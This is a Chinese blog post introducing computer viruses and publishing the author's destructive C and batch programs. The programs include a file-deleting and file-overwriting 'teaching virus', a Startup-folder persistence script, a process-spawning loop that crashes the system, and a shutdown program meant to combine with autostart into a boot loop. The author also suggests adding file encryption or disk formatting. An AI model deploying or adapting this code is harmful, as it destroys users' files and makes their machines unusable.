主頁 > 前端設計 > 網路攻防:關于病毒的一些東西(附帶一些自己寫的病毒程式)

網路攻防:關于病毒的一些東西(附帶一些自己寫的病毒程式)

2020-10-11 03:05:44 前端設計

這篇文章是突發奇想寫的,因為最近突然對病毒產生了一些興趣,因此特別寫了這么一篇文章來紀念一下.
前面我會首先介紹一下什么是病毒,后面我會把一些病毒的原始碼發上來.
當然,我也不知道能不能稱其為病毒,因此,大佬就當樂子看看就好.

一.關于病毒的介紹

按照講課的一般慣例,首先需要百度一下關于病毒的基本知識.如圖.

在這里插入圖片描述
圖中我們可以看出,病毒其實就是在計算機中插入的破壞計算機的惡意代碼.我們姑且可以這么認為:只要是能破壞計算機正常運行的代碼,都可以認為是病毒.因此,即使是用批處理腳本寫一個洗掉檔案的命令,我們都能認為是病毒,因為它對計算機造成了阻礙.

當然,上面都只是我自己的理解,也許想要稱某個程式為病毒的話,可能還需要符合其他特點.
但是我認為這樣理解是沒有錯的,因為就在寫這篇文章之前,我偶然搜索到了一個"%0病毒".這個病毒特別的簡單,只有一句話.
但是作用就是一直打開程式本身,最后使電腦死機.有興趣的同學可以去csdn上面搜索一下這個病毒,挺有意思的.

正因為這么簡單的代碼都能稱為病毒,因此我認為,我的理解應該是正確的.

二.關于病毒的分類

不敢太猜測大佬的思維,只能說說自己對于一些病毒的自己的理解.

1.按照病毒的破壞性分類

良性病毒:僅僅顯示資訊、奏樂、發出聲響,自我復制的,除了傳染時減少磁盤的可用空間外,對系統沒有其它影響,
惡性病毒:封鎖、干擾、中斷輸入輸出、使用戶無法列印等正常作業,甚至電腦中止運行,這類病毒在計算機系統操作中造成嚴重的錯誤,
極惡性病毒:死機、系統崩潰、洗掉普通程式或系統檔案,破壞系統配置導致系統死機、崩潰、無法重啟, 這些病毒對系統造成的危害,并不是本身的演算法中存在危險的呼叫,而是當它們傳染時會引起無法預料的和災難性的破壞,
災難性病毒:破壞磁區表資訊、主引導資訊、FAT,洗掉資料檔案,甚至格式化硬碟等,

第一個,良性病毒.簡單來說,我們隨手寫一個程式,比如彈出一個helloword,我們也姑且認為是一個病毒,并且可以被叫做是良性病毒.
在后面我寫了一個比較有意思的小程式,就可以稱為良性病毒.

在說說第二個,惡性病毒.這類病毒就比較具有攻擊性了,是可以對系統造成一定的威脅性的.
后面我寫了兩個病毒程式.效果是開啟后讓電腦陷入一直關機的狀態.
另一個是開啟以后,會在后臺一直創建行程,直到死機.
都是兩個比較簡單的程式,但是效果比較明顯.

最后一個我就不說了,因為這么nb的病毒我要是能寫出來,我就不坐在這里打字了.

2.按照傳染方式分類

檔案型病毒:一般只傳染磁盤上的可執行檔案(COM,EXE),在用戶呼叫染毒的可執行檔案時,病毒首先被運行,然后病毒駐留記憶體伺機傳染其他檔案或直接傳染其他檔案,其特點是附著于正常程式檔案,成為程式檔案的一個外殼或部件,這是較為常見的傳染方式,
混合型病毒:兼有以上兩種病毒的特點,既染引導區又染檔案,因此擴大了這種病毒的傳染途徑,

這幾點沒啥好說的,只要識字的人知道啥意思.

3.比較出名病毒

這個我懶得打字了.直接上截圖
在這里插入圖片描述

4.需要注意的一些地方

要理解木馬,病毒,漏洞是不同的三種東西.我一開始也并不知道這三種東西有什么區別,后來百度了才知道.

先說說木馬.木馬和病毒是不同的,不能認為是同一種東西.
木馬主要是黑客用來對你的電腦留后門的,比如遠程在你的電腦后臺創建一個賬戶,這就是一種留后門的方法.

其次是病毒.這個就是對你的電腦造成破壞的程式了.比如之前很出名的勒索病毒,原理就是對檔案進行一個加密.
這也是對檔案的一種感染.只要你懂這個原理,甚至自己寫一個加密檔案的程式,都可以叫做"小菜雞做的勒索病毒".(這種話只能說說看,你別真這么叫,因為真正的勒索病毒是很復雜的,利用了一個叫做永恒之藍的漏洞)

最后一個就是漏洞,這個就是另外一種東西了.你的windows一直在更新,原因就是在修復很多漏洞.比如c語言程式里面就有一個漏洞叫做"陣列越界".
這個漏洞產生的原因,就是因為最早發明c語言的時候,為了節省檢查陣列的記憶體,因此對陣列的邊界沒有一個嚴格的限制,才產生了這個漏洞.
還有一個叫做緩沖區溢位的漏洞,這個漏洞被用的比較廣泛,是很多黑客都會用使用的一個漏洞.
(這個漏洞,說實話我感覺和陣列越界的原理差不多.以前在做ctf里面的pwn題的時候明顯能感覺到.)

三.一些病毒的原始碼

1.教學病毒

這個病毒實作了一些基礎的病毒該有的功能,比如感染檔案,洗掉檔案,制造垃圾文等作用,非常適合用來學習病毒.
當然,這個是借鑒了其他csdn大佬的程式,并不是我寫的.

首先先說一下這個病毒的基本作用.
1.感染檔案
病毒會將某個目錄下的檔案進行感染,下面兩張圖是感染前后的對比.
在這里插入圖片描述
在這里插入圖片描述
可以看到,檔案內容發生了變化.
2.制造垃圾檔案
程式運行以后,會在某個目錄下生成一些系統的臨時檔案.這個病毒僅僅生成了一個.
在這里插入圖片描述
在這里插入圖片描述
這兩種檔案都是病毒程式生成的,只不過原理不同,一會兒我會講怎么實作.
3.洗掉檔案
顧名思義,洗掉某個目錄下特定的檔案,比如以.txt結尾的檔案.

運行病毒的程式之前步驟

這個病毒是感染特定目錄下的檔案,因此需要提前創建一個目錄,并且在這個目錄下創建一些檔案.
在這里插入圖片描述
創建一個檔案夾,我的檔案夾是virus.然后在這個檔案夾下創建兩個檔案,檔案名如圖.E_KILL.c是當病毒感染檔案以后的檔案內容.
在E_KILL.c檔案中寫入以下代碼.

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("It is virus\n");
    system("pause");
    return 0;
}

另一個viruse.c就是我們病毒的原始碼了.這個一會兒再說.
接著就是temp檔案夾了,這個檔案夾就是要被感染的目標檔案夾,按照如圖創建.
在這里插入圖片描述
s.txt和a.docx是兩個空的檔案,另外兩個檔案寫入以下內容:

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    system("pause");
    return 0;
}

好了,準備作業就做完了,接下來就是講解關于病毒原始碼的講解了.

病毒原始碼

關于原始碼的講解,我直接就以注釋的方式寫在代碼里面了.好好看,好好學.

#include<stdio.h>
#include<io.h>
#include<Windows.h>
#include<stdlib.h>
#include<string.h>
#include <direct.h>

#define INFECT_PATH "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp"
#define DELETE_FILE1 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.txt"
#define DELETE_FILE2 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.docx"
#define CREAT_EXE1 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\worm.exe"
#define CREAT_EXE2 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\virus.exe"
#define Targetfile "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.c"
#define Virusfile "F:\\20年 上\\網路安全\\講課-病毒\\virus\\E_KILL.c"
//使用了很多宏定義.這些都是后面會用得到的,需要改成你自己的檔案路徑,記得用兩個斜杠做分隔符.
void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
//函式宣告

void MakeRubbish(void)
{
    int i=0;
    FILE *fp=NULL;
    char* path=NULL;
    char* NewName=NULL;
    char tempname[]="XXXXXX";
//這個是生成臨時檔案的檔案名,幾個×就代表幾個隨機字符.
    path=INFECT_PATH;   

    if(!_chdir(path))
    {
        printf("open DIR success\n");
    }
    else
    {
        printf("open DIR failed\n");
        perror("Error: ");
    }
//_chdir函式用于改變當前作業目錄,將當前作業目錄改成了宏定義的目錄
    NewName=_mktemp(tempname);
    fp=fopen(NewName,"w");
    fclose(fp);
//創建臨時檔案
}

void CreatEXE(void)
{
    int i;
    char* s[2]={CREAT_EXE1,CREAT_EXE2};
    for(i=0;i<2;i++)
    {
        open(s[i],0x0100,0x0080);
        //創建垃圾程式,open第二個引數是創建并且打開檔案,第三個引數是寫入的意思
        copyfile(Virusfile,s[i]);
        //將開始那個E_KILL檔案內容復制到新創建的exe檔案當中.
    }
}

void Remove(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2}; 
    for (i = 0; i < 2; i++)
    {
        done = _findfirst(documenttype[i],&ffblk);
        if(done!=-1)
        {
            printf("delete %s\n",ffblk.name);
            remove(ffblk.name);                             
            while (!_findnext(done,&ffblk))
            {
                printf("delete %s\n",ffblk.name);
                remove(ffblk.name);                         
            }
        }
        _findclose(done);
    }
    //這個原理比較簡單,就是進行了一個查找,然后洗掉.就不贅述了.
}


void copyfile(char* infile,char* outfile)
{
    FILE *in,*out;
    in=fopen(infile,"r");
    out=fopen(outfile,"w");
    while(!feof(in))
    {
        fputc(fgetc(in),out);
    }
    fclose(in);
    fclose(out);
}
//感染檔案子函式
void InfectFile(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype = Targetfile;

    done = _findfirst(documenttype,&ffblk);
    copyfile(Virusfile,ffblk.name);
    while (!_findnext(done,&ffblk))
    {
        copyfile(Virusfile,ffblk.name); //感染
    }
    _findclose(done);
}
//對檔案進行感染,原理其實就是將病毒檔案進行復制即可.

/*This is a flag:end*/
int main(void)
{
    MakeRubbish( );
    CreatEXE( );
    Remove( );
    InfectFile( );
    system("pause");
    return 0;
}
//主程式

運行的時候記得用管理員身份打開.

程式大概就是這樣.其實很多病毒的雛形就是這個.
比如可以對這個原始碼進行修改,將一個死回圈加到創建垃圾檔案,那么效果就是一直創建垃圾檔案,直到電腦記憶體被全部占滿.
在比如,可以將單純的復制檔案改為對檔案進行rsa加密,這樣會比摧毀檔案更讓人頭疼.

運行結果

在這里插入圖片描述
可以看到,檔案夾中被創建了一個叫做a14192的臨時檔案,這個就是我們的功能之一.
接著打開e.c,可以看到檔案已經變成了如圖所示的內容.
在這里插入圖片描述
由此可見,我們的檔案已經被成功感染.
當然,這個病毒是非常簡單的一種,你可以對功能進行一些擴充,比如寫入注冊表設定自啟動,比如格式化某個硬碟…等等等等,這個就看你了.

2.一些我自己寫的病毒

姑且先叫做是病毒吧,因為也是對電腦造成了阻礙.我的靶機都是win2003,別的機器可能出不來效果.

1>永恒之綠

這個名字是我突然想起來有個叫"永恒之藍"的漏洞,于是我也給這個病毒起了個這個名字.先看看效果.
在這里插入圖片描述
這個病毒運行以后,會一直在螢屏上重繪綠色的0和1.
怎么樣?是不是看著比較有意思?
這個程式并沒有什么危害性,調出任務管理器就可以關掉.不過我還在后面寫了一個批處理腳本,代碼如下:

@echo off
copy virus_fake.exe "C:\Documents and Settings\Administrator\「開始」選單\程式\啟動"

這個腳本執行以后,會將病毒程式加載到啟動項,每次開機都會運行這個程式.
當然,記得要把第二行copy后面的檔案名改成你病毒程式的檔案名才可以.

接下來就是病毒的原始碼.

#include <stdio.h>
int main(){
    system("color 0a");
    //呼叫一個cmd命令,將文字顏色調成綠色,背景調成黑色
    while(1){
        printf("01011010101001010");
        //使用一個死回圈,回圈在螢屏上列印0和1
    }
}

如圖,要將exe和bat放到一個位置.
在這里插入圖片描述
如果直接運行程式,是只會在一個視窗執行.
在這里插入圖片描述
我們還需要右鍵這個程式,然后設定屬性和默認值為全屏才可以出現開始那個效果.
在這里插入圖片描述
這就是第一個病毒程式,永恒之綠.就是一個花里胡哨的小程式,只能用來嚇唬人,其實并沒有什么太厲害的地方.
不過第二個就比較厲害了,會無止境的消耗系統資源.

2>不知道該叫啥,就叫死機病毒吧

運行結果如圖:
在這里插入圖片描述
此刻我的虛擬機已經死機了,只能重啟.
在這里插入圖片描述
這個病毒的原理就是一直在打開cmd界面,最后系統資源耗盡,然后死機.這次我打開性能監視器,如圖.
在這里插入圖片描述
短短幾秒鐘,行程就達到了500多個.如果在加上上面的那個開機自啟動腳本,想想看,后果是不是很可怕?
直接上原始碼.

#include <stdio.h>
int main(){
    while(1)
    system("start cmd");
    //我寫了一個死回圈,然后執行cmd命令.這個命令就是打開cmd視窗,為什么要加start呢?這個可以百度一下為什么.
    return 0;
}

代碼很簡單,但是效果還是很猛的.這個的原理和%0病毒是相似的.

3>病毒之重啟

這個名字是我看了盜墓筆記重啟以后想到的,干脆就拿來用了.
重啟是真的重啟,運行以后會讓電腦直接關機.如果配合上自啟動腳本,效果就是開機就關機,開機就關機,開機就…
威力還是比較可觀的.截圖我就不上了,直接放代碼.

#include <stdio.h>
int main(){
    system("shutdown -s -t 0");
    //呼叫cmd命令,-s是關機的意思,-t 0 是設定0秒以后關機的意思
    return 0;
}

首先,運行病毒1里面的自啟動腳本(記得改檔案名),然后關機,在開機,病毒就開始執行了.

最后這個病毒是威力最大的一個,因為你連機都開不了,談何洗掉病毒?
當然,你可以進入安全模式進行洗掉,而那些不懂這些的人可就遭了殃了.
上面三個其實可以直接在病毒程式中添加自啟動命令的,但是我的編譯器一編譯就會自動執行程式,因此我寫成了兩個,不然自己的病毒把自己感染了就出大事了.

4>額外補充的一些事情

上面發的三個病毒其實都是小打小鬧,真正厲害的是一些比如熊貓燒香之類的病毒.
當然,那些大佬對于我來說都是目不可及的.
曾經有幸見過一個大佬寫的"金豬報喜"病毒,原理和熊貓燒香類似,用的是c++寫的.如果說以后有機會的話,我會寫一個這樣的病毒發上來給大家看看.

三.總結

關于病毒的基本原理,大概就是這樣.如果各位還有什么要補充的話可以放在評論區里.
上面的三個病毒只能算是特別小的病毒,一些更厲害的病毒可以去看看其他csdn大佬寫的東西,比如隱藏行程之類的功能.就這樣吧,不多說了.有興趣可以加我qq:1392969921

轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/167157.html

標籤:其他

上一篇:Redis系列:redis實作分布式鎖

下一篇:不愧是“大廠敲門磚”,阿里新產并發編程神仙筆記也太贊了

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • vue移動端上拉加載

    可能做得過于簡單或者比較low,請各位大佬留情,一起探討技術 ......

    uj5u.com 2020-09-10 04:38:07 more
  • 優美網站首頁,頂部多層導航

    一個個人用的瀏覽器首頁,可以把一下常用的網站放在這里,平常打開會比較方便。 第一步,HTML代碼 <script src=https://www.cnblogs.com/szharf/p/"js/jquery-3.4.1.min.js"></script> <div id="navigate"> <ul> <li class="labels labels_1"> ......

    uj5u.com 2020-09-10 04:38:47 more
  • 頁面為要加<!DOCTYPE html>

    最近因為寫一個js函式,需要用到$(window).height(); 由于手寫demo的時候,過于自信,其實對前端方面的認識也不夠體系,用文本檔案直接敲出來的html代碼,第一行沒有加上<!DOCTYPE html> 導致了$(window).height();的結果直接是整個document的高 ......

    uj5u.com 2020-09-10 04:38:52 more
  • WordPress網站程式手動升級要做好資料備份

    WordPress博客網站程式在進行升級前,必須要做好網站資料的備份,這個問題良家佐言是遇見過的;在剛開始接觸WordPress博客程式的時候,因為升級問題和博客網站的修改的一些嘗試,良家佐言是吃盡了苦頭。因為購買的是西部數碼的空間和域名,每當佐言把自己的WordPress博客網站搞到一塌糊涂的時候 ......

    uj5u.com 2020-09-10 04:39:30 more
  • WordPress程式不能升級為5.4.2版本的原因

    WordPress是一款個人博客系統,受到英文博客愛好者和中文博客愛好者的追捧,并逐步演化成一款內容管理系統軟體;它是使用PHP語言和MySQL資料庫開發的,用戶可以在支持PHP和MySQL資料庫的服務器上使用自己的博客。每一次WordPress程式的更新,就會牽動無數WordPress愛好者的心, ......

    uj5u.com 2020-09-10 04:39:49 more
  • 使用CSS3的偽元素進行首字母下沉和首行改變樣式

    網頁中常見的一種效果,首字改變樣式或者首行改變樣式,效果如下圖。 代碼: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, ......

    uj5u.com 2020-09-10 04:40:09 more
  • 關于a標簽的講解

    什么是a標簽? <a> 標簽定義超鏈接,用于從一個頁面鏈接到另一個頁面。 <a> 元素最重要的屬性是 href 屬性,它指定鏈接的目標。 a標簽的語法格式:<a href=https://www.cnblogs.com/summerxbc/p/"指定要跳轉的目標界面的鏈接">需要展示給用戶看見的內容</a> a標簽 在所有瀏覽器中,鏈接的默認外觀如下: 未被訪問的鏈接帶 ......

    uj5u.com 2020-09-10 04:40:11 more
  • 前端輪播圖

    在需要輪播的頁面是引入swiper.min.js和swiper.min.css swiper.min.js地址: 鏈接:https://pan.baidu.com/s/15Uh516YHa4CV3X-RyjEIWw 提取碼:4aks swiper.min.css地址 鏈接:https://pan.b ......

    uj5u.com 2020-09-10 04:40:13 more
  • 如何設定html中的背景圖片(全屏顯示,且不拉伸)

    1 <style>2 body{background-image:url(https://uploadbeta.com/api/pictures/random/?key=BingEverydayWallpaperPicture); 3 background-size:cover;background ......

    uj5u.com 2020-09-10 04:40:16 more
  • Java學習——HTML詳解(上)

    HTML詳解 初識HTML Hyper Text Markup Language(超文本標記語言) 1 <!--DOCTYPE:告訴瀏覽器我們要使用什么規范--> 2 <!DOCTYPE html> 3 <html lang="en"> 4 <head> 5 <!--meta 描述性的標簽,描述一些 ......

    uj5u.com 2020-09-10 04:40:33 more
最新发布
  • 我的第一個NPM包:panghu-planebattle-esm(胖虎飛機大戰)使用說明

    好家伙,我的包終于開發完啦 歡迎使用胖虎的飛機大戰包!! 為你的主頁添加色彩 這是一個有趣的網頁小游戲包,使用canvas和js開發 使用ES6模塊化開發 效果圖如下: (覺得圖片太sb的可以自己改) 代碼已開源!! Git: https://gitee.com/tang-and-han-dynas ......

    uj5u.com 2023-04-20 07:59:23 more
  • 生產事故-走近科學之消失的JWT

    入職多年,面對生產環境,盡管都是小心翼翼,慎之又慎,還是難免捅出簍子。輕則滿頭大汗,面紅耳赤。重則系統停擺,損失資金。每一個生產事故的背后,都是寶貴的經驗和教訓,都是專案成員的血淚史。為了更好地防范和遏制今后的各類事故,特開此專題,長期更新和記錄大大小小的各類事故。有些是親身經歷,有些是經人耳傳口授 ......

    uj5u.com 2023-04-18 07:55:04 more
  • 記錄--Canvas實作打飛字游戲

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 打開游戲界面,看到一個畫面簡潔、卻又富有挑戰性的游戲。螢屏上,有一個白色的矩形框,里面不斷下落著各種單詞,而我需要迅速地輸入這些單詞。如果我輸入的單詞與螢屏上的單詞匹配,那么我就可以獲得得分;如果我輸入的單詞錯誤或者時間過長,那么我就會輸 ......

    uj5u.com 2023-04-04 08:35:30 more
  • 了解 HTTP 看這一篇就夠

    在學習網路之前,了解它的歷史能夠幫助我們明白為何它會發展為如今這個樣子,引發探究網路的興趣。下面的這張圖片就展示了“互聯網”誕生至今的發展歷程。 ......

    uj5u.com 2023-03-16 11:00:15 more
  • 藍牙-低功耗中心設備

    //11.開啟藍牙配接器 openBluetoothAdapter //21.開始搜索藍牙設備 startBluetoothDevicesDiscovery //31.開啟監聽搜索藍牙設備 onBluetoothDeviceFound //30.停止監聽搜索藍牙設備 offBluetoothDevi ......

    uj5u.com 2023-03-15 09:06:45 more
  • canvas畫板(滑鼠和觸摸)

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>canves</title> <style> #canvas { cursor:url(../images/pen.png),crosshair; } #canvasdiv{ bo ......

    uj5u.com 2023-02-15 08:56:31 more
  • 手機端H5 實作自定義拍照界面

    手機端 H5 實作自定義拍照界面也可以使用 MediaDevices API 和 <video> 標簽來實作,和在桌面端做法基本一致。 首先,使用 MediaDevices.getUserMedia() 方法獲取攝像頭媒體流,并將其傳遞給 <video> 標簽進行渲染。 接著,使用 HTML 的 < ......

    uj5u.com 2023-01-12 07:58:22 more
  • 記錄--短視頻滑動播放在 H5 下的實作

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 短視頻已經無數不在了,但是主體還是使用 app 來承載的。本文講述 H5 如何實作 app 的視頻滑動體驗。 無聲勝有聲,一圖頂百辯,且看下圖: 網址鏈接(需在微信或者手Q中瀏覽) 從上圖可以看到,我們主要實作的功能也是本文要講解的有: ......

    uj5u.com 2023-01-04 07:29:05 more
  • 一文讀懂 HTTP/1 HTTP/2 HTTP/3

    從 1989 年萬維網(www)誕生,HTTP(HyperText Transfer Protocol)經歷了眾多版本迭代,WebSocket 也在期間萌芽。1991 年 HTTP0.9 被發明。1996 年出現了 HTTP1.0。2015 年 HTTP2 正式發布。2020 年 HTTP3 或能正... ......

    uj5u.com 2022-12-24 06:56:02 more
  • 【HTML基礎篇002】HTML之form表單超詳解

    ??一、form表單是什么

    ??二、form表單的屬性

    ??三、input中的各種Type屬性值

    ??四、標簽 ......

    uj5u.com 2022-12-18 07:17:06 more